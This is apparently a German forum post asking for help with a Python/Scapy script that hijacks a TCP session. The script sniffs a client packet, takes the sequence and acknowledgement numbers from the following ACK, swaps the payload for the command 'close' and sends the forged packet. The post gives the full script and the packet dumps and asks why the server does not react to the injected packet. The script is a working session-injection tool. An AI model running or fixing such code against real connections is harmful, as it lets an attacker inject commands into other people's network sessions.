ich habe einen Paketsniffer mit Python/Scapy gebaut - die Arbeitsweise ist wie folgt:
Paket vom Client an den Server abfangen und kopieren
Auf ACK-Paket nach der Serverantwort warten und daraus seq- und ack-Nummer extrahieren
Paketinhalt verändern, seq- und ack-Nummer einfügen und dann Checksumme aktualisieren
Dann das gefälschte Paket absenden
Hier die Pakete:
Code: Alles auswählen
ORIGINAL-PACKET:
###[ Ethernet ]###
dst = 40:f0:2f:c7:90:20
src = 00:1f:5b:34:45:3c
type = 0x800
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 42
id = 34084
flags = DF
frag = 0
ttl = 64
proto = tcp
chksum = 0x0
src = 192.168.1.7
dst = 192.168.1.38
\options \
###[ TCP ]###
sport = 4430
dport = 49710
seq = 1273911897
ack = 3316338221
dataofs = 5
reserved = 0
flags = PA
window = 8192
chksum = 0x839a
urgptr = 0
options = []
###[ Raw ]###
load = 'oo'
ACK-PACKET:
###[ Ethernet ]###
dst = 40:f0:2f:c7:90:20
src = 00:1f:5b:34:45:3c
type = 0x800
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 40
id = 53843
flags = DF
frag = 0
ttl = 64
proto = tcp
chksum = 0x0
src = 192.168.1.7
dst = 192.168.1.38
\options \
###[ TCP ]###
sport = 4430
dport = 49710
seq = 1273911899
ack = 3316338314
dataofs = 5
reserved = 0
flags = A
window = 8189
chksum = 0x8398
urgptr = 0
options = []
SPOOFED-PACKET:
###[ Ethernet ]###
dst = 40:f0:2f:c7:90:20
src = 00:1f:5b:34:45:3c
type = 0x800
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 58454
flags = DF
frag = 0
ttl = 64
proto = tcp
chksum = 0x0
src = 192.168.1.7
dst = 192.168.1.38
\options \
###[ TCP ]###
sport = 4430
dport = 49710
seq = 1273911899
ack = 3316338314
dataofs = 5
reserved = 0
flags = PA
window = 8192
chksum = 0x466d
urgptr = 0
options = []
###[ Raw ]###
load = 'close'
Code: Alles auswählen
from scapy.all import *
import random
wait_for_ack = False
new_pkt = None
def manip_pkt(pkt):
global wait_for_ack
global new_pkt
try:
if(pkt[TCP].sport == 4430 and isinstance(pkt.load, (bytes, bytearray))):
new_pkt = pkt
pkt.show()
print("")
wait_for_ack = True
except:
if wait_for_ack and pkt.haslayer(TCP) and pkt[TCP].flags == "A" and pkt[TCP].sport == 4430:
pkt.show()
new_len = new_pkt.len - len(new_pkt.load) + 5
new_seq = pkt.seq
new_ack = pkt.ack
new_id = random.randrange(1000, 65000)
new_pkt.load = b"close"
new_pkt.len = new_len
new_pkt.seq = new_seq
new_pkt.ack = new_ack
new_pkt.id = new_id
del new_pkt[TCP].chksum
new_pkt.show2(dump=True)
sendp(new_pkt)
wait_for_ack = False
else:
pass
sniff(iface="en0", prn=manip_pkt, store=0)
Wenn der nächste legitime Befehl von Client kommt wird dessen Paket in Wireshark sogar als Retransmission gewertet - witzigerweise reagiert darauf der Server mit ACK und Antwort.
Was übersehe ich hierbei bzw. warum reagiert der Server nicht auf das Paket?